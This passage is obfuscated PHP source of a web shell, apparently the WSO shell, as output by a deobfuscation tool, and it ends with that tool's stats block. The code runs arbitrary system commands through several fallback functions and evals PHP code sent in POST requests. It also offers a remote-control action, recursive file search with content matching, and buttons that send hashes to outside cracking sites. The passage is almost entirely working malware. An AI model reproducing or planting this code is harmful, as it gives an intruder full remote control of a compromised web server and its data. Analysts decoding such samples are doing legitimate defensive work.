"\x27\x20\163\x74\x79\154\x65\x3d\x27\167\x69\x64\164\150\72\61\60\60\45\x27\76\74\x2f\x74\144\x3e\x3c\57\164\162\76\12\11\11\x9\74\x74\x72\76\x3c\x74\144\x3e\116\141\155\145\72\x3c\57\164\x64\x3e\74\164\144\x3e\x3c\151\156\x70\x75\x74\40\164\171\x70\145\x3d\47\164\145\x78\164\47\40\x6e\141\155\145\75\x27\x66\x69\154\x65\156\141\155\145\47\40\x76\x61\154\x75\x65\x3d\47\52\x27\x20\163\x74\x79\x6c\x65\75\x27\x77\151\144\164\150\x3a\x31\x30\x30\45\47\76\74\x2f\x74\144\x3e\x3c\57\164\x72\x3e\xa\x9\x9\11\x3c\164\162\x3e\x3c\x74\x64\76\74\57\x74\x64\76\x3c\x74\x64\x3e\x3c\x69\156\x70\165\164\40\164\171\x70\145\x3d\47\x73\x75\142\x6d\x69\x74\47\40\x76\x61\x6c\165\x65\x3d\x27\76\x3e\47\x3e\x3c\57\164\144\76\x3c\57\164\x72\x3e\xa\x9\11\11\x3c\57\164\x61\142\154\x65\76\x3c\57\146\157\x72\155\x3e"; function wsoRecursiveGlob($path) { if (substr($path, -1) != "\57") { $path .= "\x2f"; } $paths = @array_unique(@array_merge(@glob($path . $_POST["\160\x33"]), @glob($path . "\52", GLOB_ONLYDIR))); if (is_array($paths) && @count($paths)) { foreach ($paths as $item) { if (@is_dir($item)) { if ($path != $item) { wsoRecursiveGlob($item); } } else { if (empty($_POST["\x70\x32"]) || @strpos(file_get_contents($item), $_POST["\160\x32"]) !== false) { echo "\x3c\x61\x20\x68\162\x65\x66\x3d\47\x23\47\x20\x6f\x6e\143\154\x69\143\153\x3d\x27\x67\x28\42\106\x69\x6c\x65\163\124\157\x6f\154\163\x22\x2c\x6e\165\x6c\154\54\x22" . urlencode($item) . "\x22\x2c\x20\42\166\x69\145\x77\x22\54\x22\42\51\47\x3e" . htmlspecialchars($item) . "\74\57\x61\x3e\74\142\162\x3e"; } } } } } if (@$_POST["\x70\x33"]) { wsoRecursiveGlob($_POST["\x63"]); } echo "\74\57\x64\151\x76\x3e\x3c\x62\162\x3e\x3c\x68\x31\x3e\x53\x65\141\x72\x63\150\x20\146\x6f\x72\x20\150\x61\x73\x68\x3a\74\x2f\150\x31\76\74\144\x69\x76\40\143\x6c\141\x73\163\75\x63\x6f\156\164\145\156\x74\x3e\12\x9\11\x3c\x66\157\162\155\x20\x6d\145\164\x68\x6f\144\75\x27\x70\x6f\x73\x74\x27\x20\164\x61\162\147\x65\164\75\x27\x5f\142\154\x61\156\x6b\x27\x20\156\141\155\145\x3d\47\x68\146\47\x3e\12\x9\x9\11\x3c\x69\156\x70\165\x74\40\x74\x79\x70\x65\x3d\47\x74\145\x78\x74\47\40\x6e\x61\x6d\145\75\47\150\141\x73\150\x27\40\163\164\171\154\x65\75\x27\x77\151\144\164\x68\x3a\62\60\60\160\170\73\47\x3e\x3c\x62\x72\76\xa\x20\x20\40\40\x20\40\x20\40\x20\40\40\x20\x3c\151\x6e\160\x75\x74\40\x74\x79\160\145\75\x27\150\151\144\x64\145\x6e\47\40\x6e\141\155\145\75\47\141\x63\164\x27\x20\x76\x61\x6c\165\x65\75\47\146\x69\156\x64\47\57\x3e\xa\11\11\11\74\151\x6e\x70\165\164\x20\164\x79\160\145\x3d\47\x62\165\x74\x74\157\x6e\47\40\166\141\154\165\145\x3d\x27\x68\x61\163\150\x63\162\141\143\153\x69\156\x67\x2e\162\165\47\40\157\156\143\x6c\151\x63\x6b\x3d\x22\x64\157\x63\x75\155\145\x6e\x74\56\x68\146\56\x61\x63\x74\151\x6f\x6e\75\47\150\164\x74\x70\163\x3a\57\57\150\x61\163\150\x63\162\x61\x63\x6b\x69\156\147\56\162\165\57\151\x6e\x64\145\170\x2e\160\x68\x70\x27\x3b\x64\x6f\143\165\155\145\x6e\164\x2e\150\146\x2e\163\165\x62\155\x69\164\50\x29\x22\x3e\x3c\142\x72\76\xa\x9\x9\11\x3c\151\x6e\x70\165\x74\x20\164\171\x70\x65\x3d\x27\142\x75\164\164\x6f\x6e\x27\40\x76\141\154\x75\145\75\47\x6d\x64\65\56\x72\x65\x64\156\x6f\x69\x7a\145\56\143\157\155\47\40\157\156\143\154\151\143\153\x3d\x22\144\x6f\143\165\x6d\x65\x6e\164\56\150\146\56\x61\x63\x74\151\157\x6e\75\47\x68\x74\x74\160\72\x2f\57\155\144\65\56\162\145\x64\x6e\x6f\151\172\x65\56\x63\x6f\x6d\x2f\77\x71\x3d\47\x2b\x64\157\143\x75\x6d\x65\x6e\x74\56\x68\146\x2e\x68\x61\x73\x68\x2e\166\141\x6c\x75\145\53\x27\x26\163\75\x6d\144\65\x27\x3b\x64\157\x63\165\x6d\x65\x6e\x74\x2e\150\x66\x2e\x73\x75\142\155\x69\x74\50\x29\x22\x3e\x3c\x62\162\76\12\40\40\x20\40\40\40\40\40\x20\x20\40\40\74\151\x6e\160\165\x74\x20\x74\x79\x70\x65\75\x27\142\x75\x74\164\157\156\x27\40\x76\141\x6c\165\x65\x3d\47\143\x72\x61\x63\x6b\x66\x6f\x72\56\x6d\x65\47\x20\x6f\x6e\x63\x6c\x69\x63\x6b\x3d\x22\144\x6f\143\x75\x6d\145\x6e\x74\x2e\x68\146\x2e\141\143\164\x69\x6f\156\75\x27\150\164\164\160\72\57\57\143\x72\141\x63\153\146\x6f\x72\56\155\145\57\151\x6e\x64\x65\170\x2e\160\x68\x70\x27\73\x64\157\143\165\x6d\x65\x6e\x74\56\150\146\56\x73\165\142\x6d\x69\x74\50\x29\42\x3e\x3c\142\x72\76\12\11\x9\74\x2f\146\157\162\155\x3e\x3c\x2f\144\x69\166\76"; wsoFooter(); } goto bGsBN; LNEfo: function wsoEx($in) { $out = ''; if (function_exists("\x65\x78\145\143")) { @exec($in, $out); $out = @join("\12", $out); } elseif (function_exists("\160\141\x73\x73\x74\150\x72\x75")) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists("\163\x79\163\x74\145\x6d")) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists("\x73\x68\145\x6c\154\x5f\x65\x78\x65\143")) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in, "\162"))) { $out = ''; while (!@feof($f)) { $out .= fread($f, 1024); } pclose($f); } return $out; } goto ALSYz; eZPOY: if (empty($_POST["\141"])) { if (isset($default_action) && function_exists("\x61\x63\x74\151\x6f\156" . $default_action)) { $_POST["\141"] = $default_action; } else { $_POST["\x61"] = "\x53\145\143\x49\156\146\157"; } } goto xDp19; Fcb5w: function actionPhp() { if (isset($_POST["\x61\x6a\141\x78"])) { WSOsetcookie(md5($_SERVER["\110\124\x54\120\137\110\x4f\x53\124"]) . "\x61\152\x61\170", true); ob_start(); eval($_POST["\160\61"]); $temp = "\x64\x6f\143\165\155\145\156\164\56\x67\145\164\x45\x6c\x65\x6d\x65\x6e\164\102\x79\x49\x64\x28\x27\120\150\160\x4f\x75\x74\160\x75\164\47\x29\56\163\x74\x79\154\145\x2e\x64\151\163\x70\154\141\x79\75\x27\x27\x3b\144\157\x63\165\155\x65\x6e\164\56\147\x65\x74\x45\x6c\x65\x6d\x65\x6e\164\102\171\111\144\x28\47\x50\150\160\117\x75\164\160\x75\x74\x27\51\x2e\151\x6e\x6e\x65\x72\x48\124\115\x4c\75\47" . addcslashes(htmlspecialchars(ob_get_clean()), "\xa\15\11\134\47\x0") . "\47\73\12"; echo strlen($temp), "\12", $temp; die; } if (empty($_POST["\141\152\141\170"]) && !empty($_POST["\x70\61"])) { WSOsetcookie(md5($_SERVER["\110\124\124\x50\137\x48\117\123\x54"]) . "\141\152\141\x78", 0); } wsoHeader(); if (isset($_POST["\x70\x32"]) && $_POST["\160\62"] == "\x69\x6e\x66\x6f") { echo "\74\x68\x31\x3e\x50\x48\x50\40\151\156\x66\x6f\74\x2f\150\61\76\x3c\x64\x69\x76\40\x63\154\x61\x73\163\75\x63\x6f\156\x74\145\x6e\164\x3e\74\163\x74\171\154\145\x3e\56\x70\40\x7b\143\157\x6c\x6f\162\x3a\x23\x30\x30\x30\x3b\175\x3c\57\x73\x74\171\154\x65\x3e"; ob_start(); phpinfo(); $tmp = ob_get_clean(); $tmp = preg_replace(array("\x21\50\x62\157\144\171\x7c\x61\72\x5c\x77\53\174\142\157\x64\x79\x2c\x20\164\144\54\x20\164\150\x2c\40\150\61\x2c\40\150\x32\51\40\x7b\56\x2a\x7d\x21\x6d\163\151\x55", "\x21\x74\144\x2c\40\164\150\40\173\50\x2e\52\51\175\41\x6d\x73\151\x55", "\41\74\x69\155\147\x5b\x5e\x3e\x5d\x2b\76\x21\x6d\x73\151\x55"), array('', "\56\x65\54\40\56\166\54\x20\56\x68\x2c\x20\56\150\40\164\x68\x20\173\44\61\x7d", ''), $tmp); echo str_replace("\74\x68\x31", "\74\x68\x32", $tmp) . "\x3c\57\x64\151\166\76\x3c\142\162\76"; } echo "\x3c\x68\61\x3e\x45\170\145\143\165\164\151\x6f\x6e\x20\120\110\x50\x2d\143\x6f\x64\145\74\57\x68\x31\76\x3c\x64\151\x76\40\x63\154\141\x73\163\x3d\143\x6f\156\x74\x65\x6e\x74\x3e\x3c\x66\x6f\162\155\x20\x6e\x61\155\x65\75\x70\x66\40\155\145\x74\150\157\x64\75\x70\x6f\163\x74\40\157\x6e\x73\x75\142\155\x69\164\x3d\42\151\146\x28\164\150\151\163\x2e\141\x6a\x61\x78\56\143\150\145\143\x6b\145\144\x29\x7b\141\50\x27\x50\150\160\x27\54\156\165\154\154\x2c\x74\x68\151\163\56\x63\x6f\x64\x65\56\166\141\154\165\145\x29\x3b\x7d\x65\x6c\x73\x65\173\147\x28\47\x50\x68\160\x27\54\156\165\154\x6c\x2c\164\x68\151\163\x2e\143\x6f\144\x65\x2e\166\x61\154\165\145\54\x27\47\x29\x3b\x7d\x72\145\x74\165\162\156\40\146\141\154\x73\x65\73\x22\x3e\74\164\x65\x78\164\x61\x72\x65\141\40\156\x61\x6d\145\x3d\x63\157\144\x65\x20\x63\154\141\163\163\x3d\142\151\x67\141\162\x65\141\x20\151\x64\75\120\150\x70\103\157\x64\x65\76" . (!empty($_POST["\x70\x31"]) ? htmlspecialchars($_POST["\160\61"]) : '') . "\x3c\57\x74\145\x78\164\141\162\x65\x61\76\74\151\156\160\x75\164\x20\164\x79\x70\x65\75\x73\165\142\x6d\151\x74\40\166\141\x6c\x75\x65\x3d\105\x76\x61\x6c\x20\x73\x74\x79\x6c\145\75\x22\x6d\141\x72\147\151\156\x2d\x74\157\x70\x3a\65\x70\170\x22\76"; echo "\40\74\151\156\160\x75\x74\40\164\x79\x70\145\75\143\150\145\x63\153\142\x6f\x78\40\156\141\155\x65\75\x61\152\141\170\40\x76\141\x6c\x75\x65\75\61\x20" . ($_COOKIE[md5($_SERVER["\110\x54\124\120\137\x48\x4f\123\124"]) . "\141\x6a\141\x78"] ? "\x63\150\145\x63\x6b\x65\x64" : '') . "\x3e\40\x73\145\x6e\144\x20\x75\x73\151\156\x67\40\101\112\101\x58\74\57\146\157\x72\x6d\x3e\x3c\x70\162\145\x20\151\x64\x3d\x50\150\160\x4f\165\164\160\x75\x74\40\x73\x74\171\x6c\x65\75\x22" . (empty($_POST["\x70\61"]) ? "\x64\151\163\x70\x6c\x61\x79\72\156\x6f\x6e\145\73" : '') . "\x6d\x61\162\x67\151\156\x2d\x74\x6f\x70\x3a\x35\x70\x78\73\x22\40\143\x6c\141\x73\x73\75\155\154\61\76"; if (!empty($_POST["\x70\61"])) { ob_start(); eval($_POST["\160\61"]); echo htmlspecialchars(ob_get_clean()); } echo "\x3c\x2f\x70\162\x65\76\74\x2f\144\151\x76\76"; wsoFooter(); } goto MByfO; jVSyF: function wsoPerms($p) { if (($p & 49152) == 49152) { $i = "\163"; } elseif (($p & 40960) == 40960) { $i = "\x6c"; } elseif (($p & 32768) == 32768) { $i = "\x2d"; } elseif (($p & 24576) == 24576) { $i = "\142"; } elseif (($p & 16384) == 16384) { $i = "\x64"; } elseif (($p & 8192) == 8192) { $i = "\143"; } elseif (($p & 4096) == 4096) { $i = "\160"; } else { $i = "\165"; } $i .= $p & 256 ? "\162" : "\x2d"; $i .= $p & 128 ? "\x77" : "\x2d"; $i .= $p & 64 ? $p & 2048 ? "\x73" : "\170" : ($p & 2048 ? "\x53" : "\55"); $i .= $p & 32 ? "\x72" : "\x2d"; $i .= $p & 16 ? "\167" : "\x2d"; $i .= $p & 8 ? $p & 1024 ? "\163" : "\x78" : ($p & 1024 ? "\123" : "\55"); $i .= $p & 4 ? "\x72" : "\55"; $i .= $p & 2 ? "\x77" : "\55"; $i .= $p & 1 ? $p & 512 ? "\164" : "\170" : ($p & 512 ? "\x54" : "\x2d"); return $i; } goto Wp0pL; ruvon: $Main(); goto p7swQ; Gwmv4: if ($cwd[strlen($cwd) - 1] != "\x2f") { $cwd .= "\x2f"; } goto k3f9L; K1VTJ: function actionRC() { if (!@$_POST["\160\x31"]) { $a = array("\x75\156\141\x6d\145" => php_uname(), "\160\x68\160\137\x76\x65\x72\163\151\x6f\x6e" => phpversion(), "\x77\163\x6f\x5f\166\145\162\x73\x69\x6f\x6e" => WSO_VERSION, "\163\141\x66\145\x6d\x6f\x64\x65" => @ini_get("\163\141\x66\145\x5f\x6d\157\x64\145")); echo serialize($a); } else { eval($_POST["\160\61"]); } } goto eZPOY; xDp19: if (!empty($_POST["\141"]) && function_exists("\141\x63\x74\x69\157\x6e" . $_POST["\x61"])) { call_user_func("\x61\143\x74\x69\x6f\156" . $_POST["\x61"]); } goto CBSXd; CBSXd: die;
Function Calls
None |
Stats
MD5 | 5e67a6865c9f6a16b268a2c0515f3e05 |
Eval Count | 0 |
Decode Time | 135 ms |